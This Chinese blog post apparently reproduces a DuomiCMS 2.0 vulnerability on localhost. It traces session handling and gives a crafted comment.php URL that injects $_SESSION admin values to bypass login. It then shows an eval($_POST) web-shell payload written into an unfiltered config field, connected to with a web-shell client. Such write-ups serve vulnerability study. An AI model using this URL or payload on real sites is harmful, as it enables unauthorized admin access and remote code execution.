多米CMS 2.0 绕过登陆验证与get shell

2019/05/21 22:33 · 漏洞复现 · 原创文章 · 1,714 · 0

首先在本地搭建好环境。

先直接访问后台:http://localhost/duomicms/admin/index.php,发现跳到了登录页面,可见一定有登录状态的验证,验证不通过,就跳转到了登录页面:

查看后台 /duomicms/admin/index.php 的代码:

代码最下面包含进去的 index.htm 就是后台首页的HTML代码,所以登录状态的验证,应该就在前面包含的 config.php 和 inc_menu.php 中,

先来看 /duomicms/admin/config.php,其中,会执行的代码如下:

红方框中,为校验用户登录状态的部分。
先来看 /duomicms/duomiphp/check.admin.php:

这里定义了 CheckPurview() 来进行用户权限检查,如果是管理员才可以(getUserRank() 返回为1即可)。

搜索 CheckPurview() 函数被调用的地方,发现 /duomicms/admin 目录下绝大部分的 php 文件都调用了该函数:

毕竟这个目录下的源文件负责后台管理的。

另外可以看到这里还调用了 session_start(); 说明是可以通过 _SESSION[ ] 接收请求参数的。

getUserRank() 是类 userLogin 的一个成员方法,该类的定义就在该文件的最后,该成员方法实现如下:

查看 成员方法 getgroupid():

继续查看 成员变量 $this->groupid 被赋值的地方,发现在 userLogin 的对象创建时,会被赋值:

 

另外,同为 userLogin类的成员变量的 userID,就是上面提到的 /duomicms/admin/config.php 中 getUserID() 函数返回的值。

可以看到 userID 和 groupid的值,都能通过_SESSION[ ] 进行传入。

由于 /duomicms/interface/comment.php 的第一行代码就调用了 session_start();
因此,可以将 _SESSION参数传入通过该文件来传入,尽管有的 php文件中也有调用 session_start(); 但不一定能通过我们构造的URL成功传入 $_SESSION[ ],比如 /duomicms/duomiphp/check.admin.php :

6936994-98523e50f5ac5d77.png

如图,说明都没执行到 session_start(); 就 exit()了。
因此,构造并访问如下URL:

http://localhost/duomicms/interface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1

再访问后台首页,发现绕过了登录验证,成功进入:

接着,要进一步利用,在百度推送那个地方有个可以利用的点:

我们在编辑框修改的内容,会写入到 /duomicms/data/admin/ping.php 文件中。
先点击确认,然后再查看一下该文件:
6936994-3e1e89755c079ded.png

那么,我们在准入密钥编辑框中写入 123456789"; eval($_POST['z']);//
再查看 /duomicms/data/admin/ping.php 文件:

发现它并没有进行安全过滤,于是成功 get shell :

用菜刀也能连接了:

 

您可能感兴趣的文章

本文地址:http://www.ouyangxiaoze.com/2019/05/98.html
文章标签: ,  
版权声明:本文为原创文章,版权归 欧阳小泽 所有,欢迎分享本文,转载请保留出处!

文件下载

上一篇:
下一篇:

 发表评论


表情